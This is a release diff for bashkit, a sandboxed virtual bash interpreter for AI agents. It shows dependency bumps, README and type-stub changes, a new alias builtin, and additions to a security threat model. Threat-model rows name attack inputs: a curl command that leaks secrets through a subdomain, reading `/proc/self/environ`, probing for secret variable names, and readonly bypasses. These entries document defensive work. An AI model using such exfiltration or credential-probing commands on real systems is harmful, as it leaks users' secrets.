- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/procsub.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/quote.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/read-builtin.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/script-exec.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/seq.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/shell-grammar.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/sleep.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/sortuniq.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/source.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/stat.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/string-ops.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/strings.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/subshell.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/tar.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/tee.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/temp-binding.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/test-operators.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/textrev.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/time.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/timeout.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/type.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/unicode.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/var-op-test.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/variables.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/wait.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/watch.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/wc.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/word-split.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/bash/xargs.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/grep/eval-bugs.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/grep/grep.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/jq/jq.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/python/python.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/sed/eval-bugs.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_cases/sed/sed.test.sh +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_runner.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/spec_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit/tests/unicode_security_tests.rs +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/tests/test_frameworks.py +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/crates/bashkit-python/tests/test_shell_injection.py +0 -0
- {bashkit-0.1.10 → bashkit-0.1.11}/pyproject.toml +0 -0
|
@@ -190,9 +190,9 @@ checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
|
|
|
190
190
|
|
|
191
191
|
[[package]]
|
|
192
192
|
name = "aws-lc-rs"
|
|
193
|
-
version = "1.16.
|
|
193
|
+
version = "1.16.2"
|
|
194
194
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
195
|
-
checksum = "
|
|
195
|
+
checksum = "a054912289d18629dc78375ba2c3726a3afe3ff71b4edba9dedfca0e3446d1fc"
|
|
196
196
|
dependencies = [
|
|
197
197
|
"aws-lc-sys",
|
|
198
198
|
"zeroize",
|
|
@@ -200,9 +200,9 @@ dependencies = [
|
|
|
200
200
|
|
|
201
201
|
[[package]]
|
|
202
202
|
name = "aws-lc-sys"
|
|
203
|
-
version = "0.
|
|
203
|
+
version = "0.39.0"
|
|
204
204
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
205
|
-
checksum = "
|
|
205
|
+
checksum = "1fa7e52a4c5c547c741610a2c6f123f3881e409b714cd27e6798ef020c514f0a"
|
|
206
206
|
dependencies = [
|
|
207
207
|
"cc",
|
|
208
208
|
"cmake",
|
|
@@ -218,7 +218,7 @@ checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
|
|
|
218
218
|
|
|
219
219
|
[[package]]
|
|
220
220
|
name = "bashkit"
|
|
221
|
-
version = "0.1.
|
|
221
|
+
version = "0.1.11"
|
|
222
222
|
dependencies = [
|
|
223
223
|
"anyhow",
|
|
224
224
|
"async-trait",
|
|
@@ -256,7 +256,7 @@ dependencies = [
|
|
|
256
256
|
|
|
257
257
|
[[package]]
|
|
258
258
|
name = "bashkit-bench"
|
|
259
|
-
version = "0.1.
|
|
259
|
+
version = "0.1.11"
|
|
260
260
|
dependencies = [
|
|
261
261
|
"anyhow",
|
|
262
262
|
"bashkit",
|
|
@@ -272,7 +272,7 @@ dependencies = [
|
|
|
272
272
|
|
|
273
273
|
[[package]]
|
|
274
274
|
name = "bashkit-cli"
|
|
275
|
-
version = "0.1.
|
|
275
|
+
version = "0.1.11"
|
|
276
276
|
dependencies = [
|
|
277
277
|
"anyhow",
|
|
278
278
|
"bashkit",
|
|
@@ -285,7 +285,7 @@ dependencies = [
|
|
|
285
285
|
|
|
286
286
|
[[package]]
|
|
287
287
|
name = "bashkit-eval"
|
|
288
|
-
version = "0.1.
|
|
288
|
+
version = "0.1.11"
|
|
289
289
|
dependencies = [
|
|
290
290
|
"anyhow",
|
|
291
291
|
"async-trait",
|
|
@@ -301,7 +301,7 @@ dependencies = [
|
|
|
301
301
|
|
|
302
302
|
[[package]]
|
|
303
303
|
name = "bashkit-js"
|
|
304
|
-
version = "0.1.
|
|
304
|
+
version = "0.1.11"
|
|
305
305
|
dependencies = [
|
|
306
306
|
"bashkit",
|
|
307
307
|
"napi",
|
|
@@ -314,9 +314,10 @@ dependencies = [
|
|
|
314
314
|
|
|
315
315
|
[[package]]
|
|
316
316
|
name = "bashkit-python"
|
|
317
|
-
version = "0.1.
|
|
317
|
+
version = "0.1.11"
|
|
318
318
|
dependencies = [
|
|
319
319
|
"bashkit",
|
|
320
|
+
"num-bigint",
|
|
320
321
|
"pyo3",
|
|
321
322
|
"pyo3-async-runtimes",
|
|
322
323
|
"serde_json",
|
|
@@ -1492,9 +1493,9 @@ dependencies = [
|
|
|
1492
1493
|
|
|
1493
1494
|
[[package]]
|
|
1494
1495
|
name = "itoa"
|
|
1495
|
-
version = "1.0.
|
|
1496
|
+
version = "1.0.18"
|
|
1496
1497
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
1497
|
-
checksum = "
|
|
1498
|
+
checksum = "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682"
|
|
1498
1499
|
|
|
1499
1500
|
[[package]]
|
|
1500
1501
|
name = "jaq-core"
|
|
@@ -3261,7 +3262,6 @@ dependencies = [
|
|
|
3261
3262
|
"bytes",
|
|
3262
3263
|
"libc",
|
|
3263
3264
|
"mio",
|
|
3264
|
-
"parking_lot",
|
|
3265
3265
|
"pin-project-lite",
|
|
3266
3266
|
"signal-hook-registry",
|
|
3267
3267
|
"socket2",
|
|
@@ -4165,18 +4165,18 @@ dependencies = [
|
|
|
4165
4165
|
|
|
4166
4166
|
[[package]]
|
|
4167
4167
|
name = "zerocopy"
|
|
4168
|
-
version = "0.8.
|
|
4168
|
+
version = "0.8.47"
|
|
4169
4169
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
4170
|
-
checksum = "
|
|
4170
|
+
checksum = "efbb2a062be311f2ba113ce66f697a4dc589f85e78a4aea276200804cea0ed87"
|
|
4171
4171
|
dependencies = [
|
|
4172
4172
|
"zerocopy-derive",
|
|
4173
4173
|
]
|
|
4174
4174
|
|
|
4175
4175
|
[[package]]
|
|
4176
4176
|
name = "zerocopy-derive"
|
|
4177
|
-
version = "0.8.
|
|
4177
|
+
version = "0.8.47"
|
|
4178
4178
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
|
4179
|
-
checksum = "
|
|
4179
|
+
checksum = "0e8bc7269b54418e7aeeef514aa68f8690b8c0489a06b0136e5f57c4c5ccab89"
|
|
4180
4180
|
dependencies = [
|
|
4181
4181
|
"proc-macro2",
|
|
4182
4182
|
"quote",
|
|
@@ -7,7 +7,7 @@ resolver = "2"
|
|
|
7
7
|
members = ["crates/*"]
|
|
8
8
|
|
|
9
9
|
[workspace.package]
|
|
10
|
-
version = "0.1.
|
|
10
|
+
version = "0.1.11"
|
|
11
11
|
edition = "2024"
|
|
12
12
|
license = "MIT"
|
|
13
13
|
authors = ["Everruns"]
|
|
@@ -18,7 +18,9 @@ categories = ["command-line-utilities", "parser-implementations"]
|
|
|
18
18
|
|
|
19
19
|
[workspace.dependencies]
|
|
20
20
|
# Async runtime
|
|
21
|
-
|
|
21
|
+
# Base features are WASM-compatible; crates needing more (rt-multi-thread, fs, net, process)
|
|
22
|
+
# add them in their own Cargo.toml or via [target.'cfg(...)'.dependencies].
|
|
23
|
+
tokio = { version = "1", features = ["sync", "macros", "io-util", "rt", "time"] }
|
|
22
24
|
async-trait = "0.1"
|
|
23
25
|
futures = "0.3"
|
|
24
26
|
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: bashkit
|
|
3
|
-
Version: 0.1.
|
|
3
|
+
Version: 0.1.11
|
|
4
4
|
Classifier: Development Status :: 4 - Beta
|
|
5
5
|
Classifier: Intended Audience :: Developers
|
|
6
6
|
Classifier: License :: OSI Approved :: MIT License
|
|
@@ -47,7 +47,7 @@ print(result.stdout) # Hello, World!
|
|
|
47
47
|
## Features
|
|
48
48
|
|
|
49
49
|
- **Sandboxed execution** — all commands run in-process with a virtual filesystem, no containers needed
|
|
50
|
-
- **
|
|
50
|
+
- **150 built-in commands** — echo, cat, grep, sed, awk, jq, curl, find, and more
|
|
51
51
|
- **Full bash syntax** — variables, pipelines, redirects, loops, functions, arrays
|
|
52
52
|
- **Resource limits** — protect against infinite loops and runaway scripts
|
|
53
53
|
- **Framework integrations** — LangChain, PydanticAI, and Deep Agents
|
|
@@ -179,7 +179,7 @@ print(result.stdout) # Alice
|
|
|
179
179
|
## Features
|
|
180
180
|
|
|
181
181
|
- **Sandboxed, in-process execution**: All commands run in isolation with a virtual filesystem
|
|
182
|
-
- **
|
|
182
|
+
- **150 built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
|
|
183
183
|
- **Full bash syntax**: Variables, pipelines, redirects, loops, functions, arrays
|
|
184
184
|
- **Resource limits**: Protect against infinite loops and runaway scripts
|
|
185
185
|
|
|
@@ -15,7 +15,7 @@ print(result.stdout) # Hello, World!
|
|
|
15
15
|
## Features
|
|
16
16
|
|
|
17
17
|
- **Sandboxed execution** — all commands run in-process with a virtual filesystem, no containers needed
|
|
18
|
-
- **
|
|
18
|
+
- **150 built-in commands** — echo, cat, grep, sed, awk, jq, curl, find, and more
|
|
19
19
|
- **Full bash syntax** — variables, pipelines, redirects, loops, functions, arrays
|
|
20
20
|
- **Resource limits** — protect against infinite loops and runaway scripts
|
|
21
21
|
- **Framework integrations** — LangChain, PydanticAI, and Deep Agents
|
|
@@ -147,7 +147,7 @@ print(result.stdout) # Alice
|
|
|
147
147
|
## Features
|
|
148
148
|
|
|
149
149
|
- **Sandboxed, in-process execution**: All commands run in isolation with a virtual filesystem
|
|
150
|
-
- **
|
|
150
|
+
- **150 built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
|
|
151
151
|
- **Full bash syntax**: Variables, pipelines, redirects, loops, functions, arrays
|
|
152
152
|
- **Resource limits**: Protect against infinite loops and runaway scripts
|
|
153
153
|
|
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
"""Type stubs for bashkit native module."""
|
|
2
2
|
|
|
3
|
-
from
|
|
3
|
+
from collections.abc import Callable
|
|
4
|
+
from typing import Any, Protocol
|
|
5
|
+
|
|
6
|
+
class ExternalHandler(Protocol):
|
|
7
|
+
"""Protocol for the external function handler passed to Bash.
|
|
8
|
+
|
|
9
|
+
Called when Monty Python code invokes a registered external function.
|
|
10
|
+
Must be an async callable with this exact signature.
|
|
11
|
+
"""
|
|
12
|
+
|
|
13
|
+
async def __call__(self, fn_name: str, args: list[Any], kwargs: dict[str, Any]) -> Any: ...
|
|
4
14
|
|
|
5
15
|
class Bash:
|
|
6
16
|
"""Core bash interpreter with virtual filesystem.
|
|
@@ -8,11 +18,21 @@ class Bash:
|
|
|
8
18
|
State persists between calls — files created in one execute() are
|
|
9
19
|
available in subsequent calls.
|
|
10
20
|
|
|
11
|
-
Example:
|
|
21
|
+
Example (basic):
|
|
12
22
|
>>> bash = Bash()
|
|
13
23
|
>>> result = await bash.execute("echo 'Hello!'")
|
|
14
24
|
>>> print(result.stdout)
|
|
15
25
|
Hello!
|
|
26
|
+
|
|
27
|
+
Example (Python execution with external function handler):
|
|
28
|
+
>>> async def handler(fn_name: str, args: list, kwargs: dict) -> Any:
|
|
29
|
+
... return await tool_executor.call(fn_name, kwargs)
|
|
30
|
+
>>> bash = Bash(
|
|
31
|
+
... python=True,
|
|
32
|
+
... external_functions=["api_request"],
|
|
33
|
+
... external_handler=handler,
|
|
34
|
+
... )
|
|
35
|
+
>>> result = await bash.execute("python3 -c 'print(api_request(url=\"/data\"))'")
|
|
16
36
|
"""
|
|
17
37
|
|
|
18
38
|
def __init__(
|
|
@@ -21,9 +41,13 @@ class Bash:
|
|
|
21
41
|
hostname: str | None = None,
|
|
22
42
|
max_commands: int | None = None,
|
|
23
43
|
max_loop_iterations: int | None = None,
|
|
44
|
+
python: bool = False,
|
|
45
|
+
external_functions: list[str] | None = None,
|
|
46
|
+
external_handler: ExternalHandler | None = None,
|
|
24
47
|
) -> None: ...
|
|
25
48
|
async def execute(self, commands: str) -> ExecResult: ...
|
|
26
49
|
def execute_sync(self, commands: str) -> ExecResult: ...
|
|
50
|
+
def cancel(self) -> None: ...
|
|
27
51
|
def reset(self) -> None: ...
|
|
28
52
|
|
|
29
53
|
class ExecResult:
|
|
@@ -64,6 +88,7 @@ class BashTool:
|
|
|
64
88
|
) -> None: ...
|
|
65
89
|
async def execute(self, commands: str) -> ExecResult: ...
|
|
66
90
|
def execute_sync(self, commands: str) -> ExecResult: ...
|
|
91
|
+
def cancel(self) -> None: ...
|
|
67
92
|
def description(self) -> str: ...
|
|
68
93
|
def help(self) -> str: ...
|
|
69
94
|
def system_prompt(self) -> str: ...
|
|
@@ -134,3 +134,7 @@ required-features = ["realfs"]
|
|
|
134
134
|
[[example]]
|
|
135
135
|
name = "realfs_readwrite"
|
|
136
136
|
required-features = ["realfs"]
|
|
137
|
+
|
|
138
|
+
# Additional tokio features needed only on native (not WASM)
|
|
139
|
+
[target.'cfg(not(target_arch = "wasm32"))'.dependencies]
|
|
140
|
+
tokio = { version = "1", features = ["rt-multi-thread", "fs"] }
|
|
@@ -98,7 +98,7 @@ assert_eq!(output.result["stdout"], "hello\nworld\n");
|
|
|
98
98
|
</a>
|
|
99
99
|
</div>
|
|
100
100
|
|
|
101
|
-
## Built-in Commands (
|
|
101
|
+
## Built-in Commands (150)
|
|
102
102
|
|
|
103
103
|
| Category | Commands |
|
|
104
104
|
|----------|----------|
|
|
@@ -309,6 +309,11 @@ print(result.stdout)
|
|
|
309
309
|
|
|
310
310
|
Bashkit is designed as a virtual interpreter with sandboxed execution for untrusted scripts. See the [security policy](SECURITY.md) for reporting vulnerabilities and the [threat model](specs/006-threat-model.md) for detailed analysis of 60+ identified threats.
|
|
311
311
|
|
|
312
|
+
## Other Virtual Bash Implementations
|
|
313
|
+
|
|
314
|
+
- **[just-bash](https://github.com/vercel-labs/just-bash)** (TypeScript, Apache-2.0) — Virtual bash interpreter for AI agents by Vercel Labs. Custom recursive descent parser, 75+ reimplemented commands (including full awk/sed/jq), in-memory VFS, defense-in-depth sandboxing, AST transform plugins. Runs in Node.js and browser.
|
|
315
|
+
- **[gbash](https://github.com/ewhauser/gbash)** (Go, Apache-2.0) — Deterministic, sandbox-only bash runtime for AI agents. Delegates parsing to `mvdan/sh`. Registry-backed commands, policy enforcement, structured tracing, JSON-RPC server mode.
|
|
316
|
+
|
|
312
317
|
## Acknowledgments
|
|
313
318
|
|
|
314
319
|
Bashkit is an independent implementation that draws design inspiration from several open source projects:
|
|
@@ -32,7 +32,7 @@ for sandbox security reasons. See the compliance spec for details.
|
|
|
32
32
|
| Category | Count |
|
|
33
33
|
|----------|-------|
|
|
34
34
|
| Core & Navigation | 12 |
|
|
35
|
-
| Flow Control & Variables |
|
|
35
|
+
| Flow Control & Variables | 23 |
|
|
36
36
|
| Shell | 7 |
|
|
37
37
|
| Text Processing | 20 |
|
|
38
38
|
| File Operations & Inspection | 17 |
|
|
@@ -40,7 +40,7 @@ for sandbox security reasons. See the compliance spec for details.
|
|
|
40
40
|
| Utilities & System | 20 |
|
|
41
41
|
| Network | 2 |
|
|
42
42
|
| Experimental | 3 |
|
|
43
|
-
| **Total** | **
|
|
43
|
+
| **Total** | **150** |
|
|
44
44
|
|
|
45
45
|
---
|
|
46
46
|
|
|
@@ -147,6 +147,8 @@ for sandbox security reasons. See the compliance spec for details.
|
|
|
147
147
|
| `let` | `EXPR...` | Evaluate arithmetic |
|
|
148
148
|
| `getopts` | `OPTSTRING NAME` | Parse positional parameters |
|
|
149
149
|
| `caller` | `[FRAME]` | Display call stack frame |
|
|
150
|
+
| `mapfile` | `-n`, `-O`, `-s`, `-t`, `-d` | Read lines into array |
|
|
151
|
+
| `readarray` | `-n`, `-O`, `-s`, `-t`, `-d` | Alias for mapfile |
|
|
150
152
|
| `shopt` | `-s`, `-u`, `-q` | Shell options |
|
|
151
153
|
| `seq` | `[FIRST [INCR]] LAST` | Print number sequence |
|
|
152
154
|
| `tac` | (none) | Reverse file lines |
|
|
@@ -49,7 +49,7 @@ through configurable limits.
|
|
|
49
49
|
| Long filenames (TM-DOS-013) | 10KB filename | `max_filename_length` (255) + `max_path_length` (4096) | MITIGATED |
|
|
50
50
|
| Many dir entries (TM-DOS-014) | 1M files in one dir | `max_file_count` | MITIGATED |
|
|
51
51
|
| Unicode path attacks (TM-DOS-015) | RTL override in filename | `validate_path()` rejects control/bidi chars | MITIGATED |
|
|
52
|
-
| TOCTOU append (TM-DOS-034) | Concurrent appends bypass limits | Single write lock | **
|
|
52
|
+
| TOCTOU append (TM-DOS-034) | Concurrent appends bypass limits | Single write lock | **FIXED** |
|
|
53
53
|
| OverlayFs upper-only check (TM-DOS-035) | `check_write_limits()` ignores lower layer | Combined limit accounting | **OPEN** |
|
|
54
54
|
| OverlayFs double-count (TM-DOS-036) | `compute_usage()` counts overwritten files | Subtract overrides | **OPEN** |
|
|
55
55
|
| OverlayFs chmod CoW bypass (TM-DOS-037) | chmod writes to unlimited upper | Route through `check_write_limits()` | **OPEN** |
|
|
@@ -104,6 +104,9 @@ through configurable limits.
|
|
|
104
104
|
| Template output explosion (TM-DOS-053) | `{{#each}}` on large array | Bounded by `max_file_size` | MITIGATED |
|
|
105
105
|
| glob ExtGlob blowup (TM-DOS-054) | `glob --files "+(a\|aa)"` | Same as TM-DOS-031 | **OPEN** |
|
|
106
106
|
| split file count (TM-DOS-055) | `split -l 1 bigfile` | FS `max_file_count` limit | MITIGATED |
|
|
107
|
+
| source self-recursion (TM-DOS-056) | Script that sources itself | Track source depth | **OPEN** |
|
|
108
|
+
| sleep bypasses timeout (TM-DOS-057) | `sleep N` ignores `ExecutionLimits::timeout` | Implement tokio timeout wrapper | **OPEN** |
|
|
109
|
+
| Unbounded builtin output (TM-DOS-058) | `seq 1 1000000` produces 1M lines | Add `max_stdout_bytes` limit | **OPEN** |
|
|
107
110
|
|
|
108
111
|
**Configuration:**
|
|
109
112
|
```rust
|
|
@@ -146,7 +149,7 @@ Scripts may attempt to break out of the sandbox to access the host system.
|
|
|
146
149
|
| Mount escape (TM-ESC-004) | Mount real paths | MountableFs controlled by caller | MITIGATED |
|
|
147
150
|
| VFS limit bypass (TM-ESC-012) | `add_file()` skips limits | Restrict API visibility | **OPEN** |
|
|
148
151
|
| OverlayFs upper() exposed (TM-ESC-013) | `upper()` returns unlimited FS | Restrict visibility | **OPEN** |
|
|
149
|
-
| Custom builtins lost (TM-ESC-014) | `std::mem::take` empties builtins |
|
|
152
|
+
| Custom builtins lost (TM-ESC-014) | `std::mem::take` empties builtins | Arc-cloned builtins | **FIXED** |
|
|
150
153
|
|
|
151
154
|
**Process Escape:**
|
|
152
155
|
|
|
@@ -379,6 +382,9 @@ exfiltration by encoding secrets in subdomains (`curl https://$SECRET.example.co
|
|
|
379
382
|
| Missing array prefix (TM-INJ-016) | `_ARRAY_READ_` not in guard | Add prefix to `is_internal_variable()` | **OPEN** |
|
|
380
383
|
| Unzip path traversal (TM-INJ-017) | `unzip` with `../` entry names | Validate paths within extract base | **OPEN** |
|
|
381
384
|
| Dotenv internal injection (TM-INJ-018) | `.env` with `_NAMEREF_x=target` | Add `is_internal_variable()` check | **OPEN** |
|
|
385
|
+
| unset removes readonly (TM-INJ-019) | `readonly X=v; unset X` | Check readonly attribute in unset | **OPEN** |
|
|
386
|
+
| declare overwrites readonly (TM-INJ-020) | `readonly X=v; declare X=new` | Check readonly attribute in declare | **OPEN** |
|
|
387
|
+
| export overwrites readonly (TM-INJ-021) | `readonly X=v; export X=new` | Check readonly attribute in export | **OPEN** |
|
|
382
388
|
|
|
383
389
|
**Variable Expansion:**
|
|
384
390
|
|
|
@@ -398,7 +404,26 @@ echo $user_input
|
|
|
398
404
|
| Shared filesystem (TM-ISO-001) | Access other tenant files | Separate Bash instances | MITIGATED |
|
|
399
405
|
| Shared memory (TM-ISO-002) | Read other tenant data | Rust memory safety | MITIGATED |
|
|
400
406
|
| Resource starvation (TM-ISO-003) | One tenant exhausts limits | Per-instance limits | MITIGATED |
|
|
401
|
-
| Cross-tenant jq env (TM-ISO-004) | `std::env::set_var()` in jq |
|
|
407
|
+
| Cross-tenant jq env (TM-ISO-004) | `std::env::set_var()` in jq | Custom jaq context variable | **FIXED** |
|
|
408
|
+
| Cumulative counter bypass (TM-ISO-005) | Repeated `exec()` resets counters | Session-level counters | **OPEN** |
|
|
409
|
+
| Memory budget exhaustion (TM-ISO-006) | Unbounded variable/array growth | Per-instance MemoryLimits | **OPEN** |
|
|
410
|
+
| Alias leakage (TM-ISO-007) | Aliases from session A visible in B | Per-instance alias HashMap | MITIGATED |
|
|
411
|
+
| Trap handler leakage (TM-ISO-008) | Trap from session A fires in B | Per-instance trap HashMap | MITIGATED |
|
|
412
|
+
| Shell option leakage (TM-ISO-009) | `set -e` in session A affects B | Per-instance SHOPT_* variables | MITIGATED |
|
|
413
|
+
| Exported env var leakage (TM-ISO-010) | `export` in session A visible in B | Per-instance env HashMap | MITIGATED |
|
|
414
|
+
| Array leakage (TM-ISO-011) | Arrays cross sessions | Per-instance array HashMaps | MITIGATED |
|
|
415
|
+
| Working directory leakage (TM-ISO-012) | `cd` in session A changes B's cwd | Per-instance `cwd` | MITIGATED |
|
|
416
|
+
| Exit code leakage (TM-ISO-013) | `$?` from session A visible in B | Per-instance `last_exit_code` | MITIGATED |
|
|
417
|
+
| Concurrent variable leakage (TM-ISO-014) | Race condition leaks vars | Per-instance state, no shared mutables | MITIGATED |
|
|
418
|
+
| Concurrent FS leakage (TM-ISO-015) | Race condition leaks files | Separate `Arc<FileSystem>` per instance | MITIGATED |
|
|
419
|
+
| Snapshot/restore side effects (TM-ISO-016) | `restore_shell_state()` affects others | Snapshot is per-instance | MITIGATED |
|
|
420
|
+
| Adversarial variable probing (TM-ISO-017) | Enumerate common secret var names | Default-empty env, no host env inheritance | MITIGATED |
|
|
421
|
+
| /proc /sys probing (TM-ISO-018) | Read `/proc/self/environ` | VFS has no real /proc or /etc | MITIGATED |
|
|
422
|
+
| jq cross-session env (TM-ISO-019) | `jq 'env.X'` sees other vars | jaq reads from injected global | MITIGATED |
|
|
423
|
+
| Subshell mutation leakage (TM-ISO-020) | Subshell vars leak to parent | Snapshot/restore + per-instance state | MITIGATED |
|
|
424
|
+
| EXIT trap cross-exec leak (TM-ISO-021) | EXIT trap fires in next `exec()` | Reset traps in `reset_for_execution()` | **OPEN** |
|
|
425
|
+
| `$?` cross-exec leak (TM-ISO-022) | Exit code from previous `exec()` visible | Reset `last_exit_code` | **OPEN** |
|
|
426
|
+
| `set -e` cross-exec leak (TM-ISO-023) | Shell options persist across `exec()` | Reset shell options | **OPEN** |
|
|
402
427
|
|
|
403
428
|
Each [`Bash`] instance is fully isolated. For multi-tenant environments, create
|
|
404
429
|
separate instances per tenant:
|
|
@@ -434,6 +459,7 @@ All unexpected errors are caught and converted to safe, human-readable messages.
|
|
|
434
459
|
| Path leak in errors (TM-INT-004) | Error shows real FS paths | Virtual paths only | MITIGATED |
|
|
435
460
|
| Memory addr in errors (TM-INT-005) | Debug output shows addresses | Display impl hides addresses | MITIGATED |
|
|
436
461
|
| Stack trace exposure (TM-INT-006) | Panic unwinds show call stack | `catch_unwind` prevents propagation | MITIGATED |
|
|
462
|
+
| /dev/urandom empty with head -c (TM-INT-007) | `head -c 16 /dev/urandom` returns empty | Fix virtual device pipe handling | **OPEN** |
|
|
437
463
|
|
|
438
464
|
**Panic Recovery:**
|
|
439
465
|
|
|
@@ -6,7 +6,9 @@
|
|
|
6
6
|
//!
|
|
7
7
|
//! Run with: cargo run --example custom_filesystem_impl
|
|
8
8
|
|
|
9
|
-
use bashkit::{
|
|
9
|
+
use bashkit::{
|
|
10
|
+
Bash, DirEntry, Error, FileSystem, FileSystemExt, FileType, Metadata, Result, async_trait,
|
|
11
|
+
};
|
|
10
12
|
use std::collections::HashMap;
|
|
11
13
|
use std::path::{Path, PathBuf};
|
|
12
14
|
use std::sync::{Arc, RwLock};
|
|
@@ -101,6 +103,9 @@ impl SessionFileSystemAdapter {
|
|
|
101
103
|
}
|
|
102
104
|
|
|
103
105
|
// The async_trait macro is re-exported from bashkit for convenience
|
|
106
|
+
#[async_trait]
|
|
107
|
+
impl FileSystemExt for SessionFileSystemAdapter {}
|
|
108
|
+
|
|
104
109
|
#[async_trait]
|
|
105
110
|
impl FileSystem for SessionFileSystemAdapter {
|
|
106
111
|
async fn read_file(&self, path: &Path) -> Result<Vec<u8>> {
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
//! Alias management builtins: alias, unalias
|
|
2
|
+
//!
|
|
3
|
+
//! Directly mutate aliases via [`ShellRef`](super::ShellRef).
|
|
4
|
+
|
|
5
|
+
use async_trait::async_trait;
|
|
6
|
+
|
|
7
|
+
use super::{Builtin, Context};
|
|
8
|
+
use crate::error::Result;
|
|
9
|
+
use crate::interpreter::ExecResult;
|
|
10
|
+
|
|
11
|
+
/// `alias` builtin — define or display aliases.
|
|
12
|
+
///
|
|
13
|
+
/// Usage:
|
|
14
|
+
/// - `alias` — list all aliases
|
|
15
|
+
/// - `alias name` — show a specific alias
|
|
16
|
+
/// - `alias name=value` — define an alias
|
|
17
|
+
pub struct Alias;
|
|
18
|
+
|
|
19
|
+
#[async_trait]
|
|
20
|
+
impl Builtin for Alias {
|
|
21
|
+
async fn execute(&self, mut ctx: Context<'_>) -> Result<ExecResult> {
|
|
22
|
+
let Some(shell) = ctx.shell.as_mut() else {
|
|
23
|
+
return Ok(ExecResult::ok(String::new()));
|
|
24
|
+
};
|
|
25
|
+
|
|
26
|
+
if ctx.args.is_empty() {
|
|
27
|
+
// List all aliases
|
|
28
|
+
let mut sorted: Vec<_> = shell.aliases.iter().collect();
|
|
29
|
+
sorted.sort_by_key(|(k, _)| (*k).clone());
|
|
30
|
+
let mut output = String::new();
|
|
31
|
+
for (name, value) in sorted {
|
|
32
|
+
output.push_str(&format!("alias {}='{}'\n", name, value));
|
|
33
|
+
}
|
|
34
|
+
return Ok(ExecResult::ok(output));
|
|
